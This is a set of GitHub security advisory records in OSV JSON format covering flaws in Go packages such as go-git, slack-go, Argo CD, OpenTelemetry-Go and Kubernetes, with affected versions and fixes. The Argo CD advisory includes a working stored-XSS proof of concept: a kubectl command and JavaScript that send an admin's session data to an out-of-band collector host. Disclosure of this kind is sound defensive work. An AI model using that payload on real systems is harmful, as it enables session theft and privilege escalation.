{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.17.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.17.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33762"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T17:05:23Z",
    "nvd_published_at": "2026-03-31T15:16:15Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\n`go-git`\u2019s index decoder for format version 4 fails to validate the path name prefix length before applying it to the previously decoded path name. A maliciously crafted index file can trigger an out-of-bounds slice operation, resulting in a runtime panic during normal index parsing.\n\nThis issue only affects Git index format version 4. Earlier formats (`go-git` supports only `v2` and `v3`) are not vulnerable to this issue.\n\nAn attacker able to supply a crafted `.git/index` file can cause applications using go-git to panic while reading the index. If the application does not recover from panics, this results in process termination, leading to a denial-of-service (DoS) condition.\n\nExploitation requires the ability to modify or inject a Git index file within the local repository in disk. This typically implies write access to the `.git` directory.\n\n### Patches\n\nUsers should upgrade to `v5.17.1`, or the latest `v6` [pseudo-version](https://go.dev/ref/mod#pseudo-versions), in order to mitigate this vulnerability.\n\n### Credit\n\ngo-git maintainers thank @kq5y for finding and reporting this issue privately to the `go-git` project.",
  "id": "GHSA-gm2x-2g9h-ccm8",
  "modified": "2026-03-31T18:50:23Z",
  "published": "2026-03-30T17:05:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-git/security/advisories/GHSA-gm2x-2g9h-ccm8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33762"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-git/go-git"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-git/releases/tag/v5.17.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "go-git missing validation decoding Index v4 files leads to panic"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/slack-go/slack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-287",
      "CWE-326"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:52:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`SecretsVerifier` in slack-go/slack before v0.23.1 accepts an empty signing secret without error. If an application is misconfigured (e.g., an unset or empty `SLACK_SIGNING_SECRET`), `NewSecretsVerifier` builds an HMAC-SHA256 keyed with an empty string, allowing an unauthenticated attacker to forge a valid `X-Slack-Signature` and bypass Slack request authentication. Fixed in v0.23.1, which rejects empty secrets with `ErrInvalidConfiguration`. This is patched in version 0.23.1.",
  "id": "GHSA-gxhx-2686-5h9g",
  "modified": "2026-06-29T15:38:00Z",
  "published": "2026-05-14T20:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/slack-go/slack/security/advisories/GHSA-gxhx-2686-5h9g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/slack-go/slack/commit/34ad5c052e446f58505ae8d81a2a72821de107cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/slack-go/slack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/slack-go/slack/releases/tag/v0.23.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "slack-go `SecretsVerifier` accepts empty signing secret without precondition"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.3.9"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0-rc1"
            },
            {
              "fixed": "3.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0-rc1"
            },
            {
              "fixed": "3.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.14.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45738"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:54:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA user with **application write access (developer role)** can set `link.argocd.argoproj.io/*` annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab\u0027s **URLs section** as `\u003ca href\u003e` elements without URL validation. Using the pipe-separator trick (`Display Text | javascript:...`), an attacker can inject a `javascript:` URI while displaying a legitimate-looking label (e.g. `GitHub Repo`). When a higher-privileged user (admin) clicks the link, **arbitrary JavaScript executes in the ArgoCD origin context** in the admin\u0027s authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.\n\n### Details\n\n**Vulnerable sink:** `ui/src/app/applications/components/application-summary/application-summary.tsx:277`\n\n```tsx\nconst parts = (url || \u0027\u0027).split(\u0027|\u0027);\n\u003ca key={i} href={parts.length \u003e 1 ? parts[1] : parts[0]} target=\u0027_blank\u0027\u003e\n    {parts[0]}\n\u003c/a\u003e\n```\n\nThe annotation value is split on `|`. `parts[0]` becomes the visible link label; `parts[1]` becomes the `href`. **No call to `isValidURL()` is made**, unlike the protected `ApplicationURLs` component (`application-urls.tsx:72,80`) which does validate URLs and blocks `javascript:`. The `target=\u0027_blank\u0027` opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim\u0027s authenticated session (credentialed `fetch()` calls).\n\n**Root cause:** React 16.x does not block `javascript:` URIs in `href` attributes (this protection was added in React 19). The helper `isValidURL()` exists in `shared/utils.ts` but is **not applied** to this sink.\n\n**CSP:** ArgoCD\u0027s default Content Security Policy is `frame-ancestors \u0027self\u0027` only \u2014 no `script-src`, no `connect-src`, no `default-src` \u2014 providing **zero XSS execution mitigation**.\n\n### PoC\n\n**Prerequisites:** Developer role with application write access (e.g. RBAC: `p, role:developer, applications, *, */*, allow`).\n\n**Step 1 \u2014 Set malicious annotation as developer:**\n\n```bash\nkubectl annotate application \u003capp-name\u003e -n argocd \\\n  \u0027link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch(\"https://\u003cargocd-host\u003e/api/v1/session/userinfo\",{credentials:\"include\"}).then(r=\u003er.json()).then(d=\u003efetch(\"https://xxx.oastify.com/?d=\"+btoa(JSON.stringify(d)),{mode:\"no-cors\"}))\u0027\n```\n\nThe URL section in the admin\u0027s Summary tab renders the link as **\"GitHub Repo\"** \u2014 the `javascript:` payload is invisible in the displayed text.\n\n**Step 2 \u2014 Admin opens Summary tab** of the annotated application and clicks the link.\n\n**Step 3 \u2014 JavaScript executes** at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:\n\n```javascript\n// Payload used during testing (Burp Collaborator OOB):\nfetch(\"https://\u003cargocd-host\u003e/api/v1/session/userinfo\", {credentials:\"include\"})\n  .then(r =\u003e r.json())\n  .then(d =\u003e fetch(\"https://xxx.oastify.com/?d=\" + btoa(JSON.stringify(d)), {mode:\"no-cors\"}))\n```\n\n**Step 4 \u2014 Burp Collaborator received the OOB HTTP interaction** containing the base64-encoded admin session data. Decoded response:\n\n```json\n{\"iss\":\"argocd\",\"loggedIn\":true,\"username\":\"admin\"}\n```\n\n**Tested on:** ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.\n\n### Impact\n\n- **Stored XSS** \u2014 payload persists in the Kubernetes Application resource until manually removed\n- **Privilege escalation** \u2014 developer role \u2192 admin session hijacking via authenticated API calls\n- **Maximum stealth** \u2014 the injected link displays as any attacker-chosen text; the `javascript:` href is never visible to the victim\n- **No server-side interaction required** \u2014 purely client-side exploit, no network egress needed for execution (exfiltration uses `no-cors` fetch, bypassed by absent `connect-src` CSP)\n- Any admin or operator who views the Summary tab of the compromised application is affected\n\n### Credits\n\nDiscovered and reported by **Jan Kahmen** ([jan@turingpoint.de](mailto:jan@turingpoint.de)) \u2014 [turingpoint.de](https://turingpoint.de)",
  "id": "GHSA-h98r-wv3h-fr38",
  "modified": "2026-05-19T15:54:43Z",
  "published": "2026-05-19T15:54:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-h98r-wv3h-fr38"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.42.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/otel/sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "fixed": "1.43.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:22:12Z",
    "nvd_published_at": "2026-04-08T21:17:00Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe fix for GHSA-9h8m-3fm2-qjrq (CVE-2026-24051) changed the Darwin `ioreg` command to use an absolute path but left the BSD `kenv` command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms.\n\n## Root Cause\n\n`sdk/resource/host_id.go` line 42:\n\n    if result, err := r.execCommand(\"kenv\", \"-q\", \"smbios.system.uuid\"); err == nil {\n\nCompare with the fixed Darwin path at line 58:\n\n    result, err := r.execCommand(\"/usr/sbin/ioreg\", \"-rd1\", \"-c\", \"IOPlatformExpertDevice\")\n\nThe `execCommand` helper at `sdk/resource/host_id_exec.go` uses `exec.Command(name, arg...)` which searches `$PATH` when the command name contains no path separator.\n\nAffected platforms (per build tag in `host_id_bsd.go:4`): DragonFly BSD, FreeBSD, NetBSD, OpenBSD, Solaris.\n\nThe `kenv` path is reached when `/etc/hostid` does not exist (line 38-40), which is common on FreeBSD systems.\n\n## Attack\n\n1. Attacker has local access to a system running a Go application that imports `go.opentelemetry.io/otel/sdk`\n2. Attacker places a malicious `kenv` binary earlier in `$PATH`\n3. Application initializes OpenTelemetry resource detection at startup\n4. `hostIDReaderBSD.read()` calls `exec.Command(\"kenv\", ...)` which resolves to the malicious binary\n5. Arbitrary code executes in the context of the application\n\nSame attack vector and impact as CVE-2026-24051.\n\n## Suggested Fix\n\nUse the absolute path:\n\n    if result, err := r.execCommand(\"/bin/kenv\", \"-q\", \"smbios.system.uuid\"); err == nil {\n\nOn FreeBSD, `kenv` is located at `/bin/kenv`.",
  "id": "GHSA-hfvc-g4fc-pqhx",
  "modified": "2026-04-09T14:29:41Z",
  "published": "2026-04-08T19:22:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-hfvc-g4fc-pqhx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39883"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-go"
    },
    {
      "type": "WEB",
      "url": "http://github.com/open-telemetry/opentelemetry-go/releases/tag/v1.43.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "opentelemetry-go: BSD kenv command not using absolute path enables PATH hijacking"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.32.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.32.0"
            },
            {
              "fixed": "1.32.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.33.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.33.0"
            },
            {
              "fixed": "1.33.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-4563"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-23T22:41:38Z",
    "nvd_published_at": "2025-06-23T16:15:27Z",
    "severity": "LOW"
  },
  "details": "A vulnerability exists in the NodeRestriction admission controller where nodes can bypass dynamic resource allocation authorization checks. When the DynamicResourceAllocation feature gate is enabled, the controller properly validates resource claim statuses during pod status updates but fails to perform equivalent validation during pod creation. This allows a compromised node to create mirror pods that access unauthorized dynamic resources, potentially leading to privilege escalation.",
  "id": "GHSA-hj2p-8wj8-pfq4",
  "modified": "2025-08-06T21:47:22Z",
  "published": "2025-06-23T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4563"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/issues/132151"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/pull/131844"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/pull/131875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/pull/131876"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubernetes/kubernetes"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/kubernetes-security-announce/c/Zv84LMRuvMQ"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3774"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kubernetes allows nodes to bypass dynamic resource allocation authorization checks"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "golang.org/x/crypto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.45.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-19T23:01:20Z",
    "nvd_published_at": "2025-11-19T21:15:50Z",
    "severity": "MODERATE"
  },
  "details": "SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption.",
  "id": "GHSA-j5w8-q4qc-rx2x",
  "modified": "2025-11-19T23:01:20Z",
  "published": "2025-11-19T23:01:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58181"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/721961"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/76363"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/w-oX3UxNcZA"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-4134"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "golang.org/x/crypto/ssh allows an attacker to cause unbounded memory consumption"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.17.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.17.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34165"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T17:17:54Z",
    "nvd_published_at": "2026-03-31T15:16:17Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA vulnerability has been identified in which a maliciously crafted `.idx` file can cause asymmetric memory consumption, potentially exhausting available memory and resulting in a Denial of Service (DoS) condition.\n\nExploitation requires write access to the local repository\u0027s `.git` directory, it order to create or alter existing `.idx` files. \n\n### Patches\n\nUsers should upgrade to `v5.17.1`, or the latest `v6` [pseudo-version](https://go.dev/ref/mod#pseudo-versions), in order to mitigate this vulnerability.\n\n### Credit\n\nThe go-git maintainers thank @kq5y for finding and reporting this issue privately to the `go-git` project.",
  "id": "GHSA-jhf3-xxhw-2wpp",
  "modified": "2026-03-31T18:50:40Z",
  "published": "2026-03-30T17:17:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-git/security/advisories/GHSA-jhf3-xxhw-2wpp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34165"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-git/go-git"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-git/releases/tag/v5.17.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "go-git: Maliciously crafted idx file can cause asymmetric memory consumption"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-billy/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-billy/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0-alpha.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:29:47Z",
    "nvd_published_at": "2026-06-01T17:17:08Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nMultiple components may improperly handle crafted or malformed input, resulting in panics, infinite loops, uncontrolled recursion, or excessive resource consumption.\n\nThese issues arise from insufficient validation and missing safety mechanisms such as cycle detection, recursion limits, or defensive handling of unexpected states when processing untrusted repository data and filesystem structures.\n\n### Patches\nUsers should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to `v5` are likely to be affected, users are recommended to upgrade to a supported `go-billy` version.\n\n### Credits\nThanks to @faran66 for finding and reporting this issue privately to the go-git project. \ud83d\ude47",
  "id": "GHSA-m3xc-h892-ggx6",
  "modified": "2026-06-09T10:50:07Z",
  "published": "2026-05-13T15:29:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-billy/security/advisories/GHSA-m3xc-h892-ggx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44740"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-git/go-billy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-billy/releases/tag/v5.9.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-billy/releases/tag/v6.0.0-alpha.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "go-billy: Lack of depth and cycle detection in symlink resolution may lead to infinite loops and resource exhaustion"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.19.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.19.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.0-alpha.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0-alpha.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45570"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:21:01Z",
    "nvd_published_at": "2026-05-27T15:16:30Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\n`go-git`\u0027s SSH transport constructs the remote exec command by wrapping the repository path in single quotes without escaping single quotes embedded inside the path. This diverges from canonical Git, which shell-quotes the path through `sq_quote_buf` so that an embedded `\u0027` becomes the `\u0027\\\u0027\u0027` close-escape-reopen sequence and the whole path round-trips as a single quoted argument.\n\nA repository path containing a single quote can therefore break out of the quoted region in the exec command and be appended as additional shell tokens. On SSH servers that evaluate the exec command through a shell (for example a user account whose login shell is `/bin/sh` or `/bin/bash`, or a `ForceCommand` wrapper that re-evaluates `$SSH_ORIGINAL_COMMAND`), those additional tokens execute in that account\u0027s command-execution context. SSH servers that tokenize the exec command without shell evaluation, including the canonical `git-shell` setup, are not affected.\n\nThe vulnerable behaviour is on the SSH server side, not in `go-git`: the same bytes can be produced by any SSH client. The change in `go-git` is defense-in-depth that restores parity with canonical Git\u0027s wire format and prevents `go-git` from being a vehicle for reaching shell-evaluating servers through attacker-influenced repository paths.\n\n### Patches\n\nUsers should upgrade to a patched version in order to mitigate this issue. The fix ports `sq_quote_buf` from canonical Git into `go-git`\u0027s SSH transport so that the wire output is byte-identical to what `git` itself would send for the same input.\n\nVersions prior to `v5` are likely to be affected, users are recommended to upgrade to a supported go-git version.\n\n### Credit\n\nThanks to @N0zoM1z0 for reporting this to the `go-git` project. :bow:",
  "id": "GHSA-m7cr-m3pv-hgrp",
  "modified": "2026-06-08T23:42:58Z",
  "published": "2026-05-19T15:21:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-git/security/advisories/GHSA-m7cr-m3pv-hgrp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45570"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-git/go-git"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "go-git: Improper single-quote escaping in go-git SSH transport"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.40.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/otel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.36.0"
            },
            {
              "fixed": "1.41.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T20:12:57Z",
    "nvd_published_at": "2026-04-07T21:17:16Z",
    "severity": "HIGH"
  },
  "details": "multi-value `baggage:` header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many `baggage:` header lines, even when each individual value is within the 8192-byte per-value parse limit.\n\n## severity\n\nHIGH (availability / remote request amplification)\n\n## relevant links\n\n- repository: https://github.com/open-telemetry/opentelemetry-go\n- pinned callsite: https://github.com/open-telemetry/opentelemetry-go/blob/1ee4a4126dbdd1bc79e9fae072fa488beffac52a/propagation/baggage.go#L58\n\n## vulnerability details\n\n**pins:** open-telemetry/opentelemetry-go@1ee4a4126dbdd1bc79e9fae072fa488beffac52a\n**as-of:** 2026-02-04\n**policy:** direct (no program scope provided)\n\n**callsite:** propagation/baggage.go:58 (`extractMultiBaggage`)\n**attacker control:** inbound HTTP request headers (many `baggage` field-values) \u2192 `propagation.HeaderCarrier.Values(\"baggage\")` \u2192 repeated `baggage.Parse` + member aggregation\n\n### root cause\n\n`extractMultiBaggage` iterates over all `baggage` header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).\n\n### impact\n\nin a default `net/http` configuration (max header bytes 1mb), a single request with many `baggage:` header field-values can cause large per-request allocations and increased latency.\n\nexample from the attached PoC harness (darwin/arm64; 80 values; 40 requests):\n\n- canonical: `per_req_alloc_bytes=10315458` and `p95_ms=7`\n- control: `per_req_alloc_bytes=133429` and `p95_ms=0`\n\n## proof of concept\n\ncanonical:\n\n```bash\nmkdir -p poc\nunzip poc.zip -d poc\ncd poc\nmake test\n```\n\noutput (excerpt):\n\n```\n[CALLSITE_HIT]: propagation/baggage.go:58 extractMultiBaggage\n[PROOF_MARKER]: baggage_multi_value_amplification p95_ms=7 per_req_alloc_bytes=10315458 per_req_allocs=16165\n```\n\ncontrol:\n\n```bash\ncd poc\nmake control\n```\n\ncontrol output (excerpt):\n\n```\n[NC_MARKER]: baggage_single_value_baseline p95_ms=0 per_req_alloc_bytes=133429 per_req_allocs=480\n```\n\n**expected:** multiple `baggage` header field-values should be semantically equivalent to a single comma-joined `baggage` value and should not multiply parsing/alloc work within the effective header byte budget.\n**actual:** multiple `baggage` header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.\n\n## fix recommendation\n\navoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).\n\n**fix accepted when:** under the default PoC harness settings, canonical stays within 2x of control for `per_req_alloc_bytes` and `per_req_allocs`, and `p95_ms` stays below 2ms.\n\n\n[poc.zip](https://github.com/user-attachments/files/25079945/poc.zip)\n[PR_DESCRIPTION.md](https://github.com/user-attachments/files/25079946/PR_DESCRIPTION.md)",
  "id": "GHSA-mh2q-q3fh-2475",
  "modified": "2026-04-24T20:04:24Z",
  "published": "2026-04-07T20:12:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-mh2q-q3fh-2475"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29181"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/pull/7880"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/commit/aa1894e09e3fe66860c7885cb40f98901b35277f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/v1.41.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry-Go: multi-value `baggage` header extraction causes excessive allocations (remote dos amplification)"
}